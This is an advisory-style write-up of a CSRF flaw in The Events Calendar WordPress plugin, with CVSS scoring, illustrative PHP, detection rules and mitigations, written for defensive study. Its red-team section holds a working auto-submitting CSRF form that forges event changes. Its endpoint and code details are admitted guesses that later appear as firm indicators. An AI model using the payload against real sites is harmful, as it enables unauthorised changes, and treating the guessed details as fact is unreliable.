CVE-2025-24537

Executive Summary

CVE-2025-24537 is a Cross-Site Request Forgery (CSRF) vulnerability in the WordPress plugin The Events Calendar by StellarWP, affecting versions up to and including 6.7.0. This flaw allows an attacker to trick an authenticated administrator into performing unintended actions, such as modifying event settings or creating unauthorized events, without their consent. The vulnerability has a CVSS score of 5.4 (Medium) and currently has no known public exploit or patch. As a WordPress ecosystem issue, it impacts sites using this popular calendar plugin, potentially leading to data integrity loss and limited confidentiality impact.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The Events Calendar is distributed via the official WordPress plugin repository and is a widely used component in event management. No NPM, PyPI, Go, or Ruby packages are involved. The risk is primarily to WordPress site administrators who have not applied any forthcoming security updates.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector (AV): Network – The attack is executed remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – The attacker does not need authentication.
• User Interaction (UI): Required – The victim must click a malicious link or visit a crafted page.
• Scope (S): Unchanged – The vulnerable component remains within its security boundary.
• Confidentiality (C): Low – Limited information disclosure possible.
• Integrity (I): Low – Limited ability to modify data.
• Availability (A): None – No impact on availability.

Threat Level: Medium. The requirement for user interaction reduces the immediate risk, but the lack of a patch and the widespread use of the plugin make it a target for social engineering attacks.

Deep Dive & Mechanics

The vulnerability resides in the WordPress plugin The Events Calendar, specifically in its administrative interface. CSRF occurs when the plugin fails to implement proper nonce validation or other anti-CSRF tokens on state-changing requests (e.g., creating, editing, or deleting events). An attacker can craft a malicious HTML page or email that, when viewed by an authenticated administrator, triggers a forged request to the WordPress admin area. This request can modify plugin settings, create fake events, or alter existing data without the administrator's knowledge.

The attack flow:

1. The attacker identifies a target site running The Events Calendar <= 6.7.0.
2. The attacker crafts a malicious link or form that submits a POST request to the vulnerable endpoint (e.g., /wp-admin/admin-post.php?action=...).
3. The attacker lures an authenticated administrator to click the link or visit the page.
4. The administrator's browser sends the forged request with their valid session cookies.
5. The plugin processes the request without verifying the origin, leading to unauthorized actions.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code likely lacks a nonce check. A typical vulnerable pattern in WordPress plugins is:

// Vulnerable code (no nonce verification)
if ( isset( $_POST['update_event'] ) ) {
    update_event_meta( $_POST['event_id'], $_POST['event_data'] );
}

A patched version would include a nonce check:

// Patched code (with nonce verification)
if ( isset( $_POST['update_event'] ) && wp_verify_nonce( $_POST['_wpnonce'], 'update_event_nonce' ) ) {
    update_event_meta( $_POST['event_id'], $_POST['event_data'] );
}

The absence of wp_verify_nonce() or similar CSRF protection mechanisms is the root cause.

Exploitation & Lab Setup

Red Team (Attack Simulation)

To simulate exploitation, set up a local WordPress instance with The Events Calendar <= 6.7.0. Create a malicious HTML page that triggers a CSRF attack:

<html>
<body>
<form action="http://target-site.com/wp-admin/admin-post.php" method="POST">
    <input type="hidden" name="action" value="tribe_events_update">
    <input type="hidden" name="event_id" value="1">
    <input type="hidden" name="event_name" value="Malicious Event">
    <input type="hidden" name="event_date" value="2025-06-01">
    <input type="submit" value="Click me">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>

Host this page on an attacker-controlled server and send the link to a logged-in admin. The admin's browser will automatically submit the form, creating or modifying an event.

Blue Team (Defense & Detection)

• Monitor for unusual POST requests to /wp-admin/admin-post.php with unexpected parameters.
• Implement CSRF tokens manually if a patch is unavailable (e.g., using a security plugin).
• Educate administrators about phishing attacks and the importance of logging out after sessions.
• Use Web Application Firewall (WAF) rules to block requests missing expected nonce parameters.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /wp-admin/admin-post.php with parameters like action=tribe_events_update or similar.
• Logs: WordPress debug logs showing unexpected event creation or modification without corresponding admin actions.
• File: Unusual entries in the wp_postmeta table for event-related posts.
• Behavior: Sudden appearance of events with suspicious titles or dates.

Detection Engineering

YARA Rule

rule CVE_2025_24537_CSRF_WordPress {
    meta:
        description = "Detects potential CSRF exploitation attempts against The Events Calendar plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-24537"
    strings:
        $action = "tribe_events_update" nocase
        $admin_post = "admin-post.php" nocase
        $event_id = "event_id" nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-24537 CSRF Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests targeting The Events Calendar admin endpoints without proper nonce
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-post.php'
        cs-uri-query|contains: 'action=tribe_events_update'
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: medium

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2025-24537 - The Events Calendar CSRF Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"admin-post.php"; http_uri;
    content:"action=tribe_events_update"; http_uri;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

1. Immediate Action: Disable The Events Calendar plugin until a patch is released.
2. Workaround: Install a WordPress security plugin that adds CSRF protection (e.g., Wordfence, Sucuri).
3. Patch: Monitor the StellarWP website for an update (expected version > 6.7.0). Apply as soon as available.
4. User Training: Educate administrators to avoid clicking suspicious links while logged into WordPress.
5. Network Controls: Use a WAF to block requests to /wp-admin/admin-post.php that lack a valid nonce parameter.

Valters IT
DevSecOps & Cyber Threat Intelligence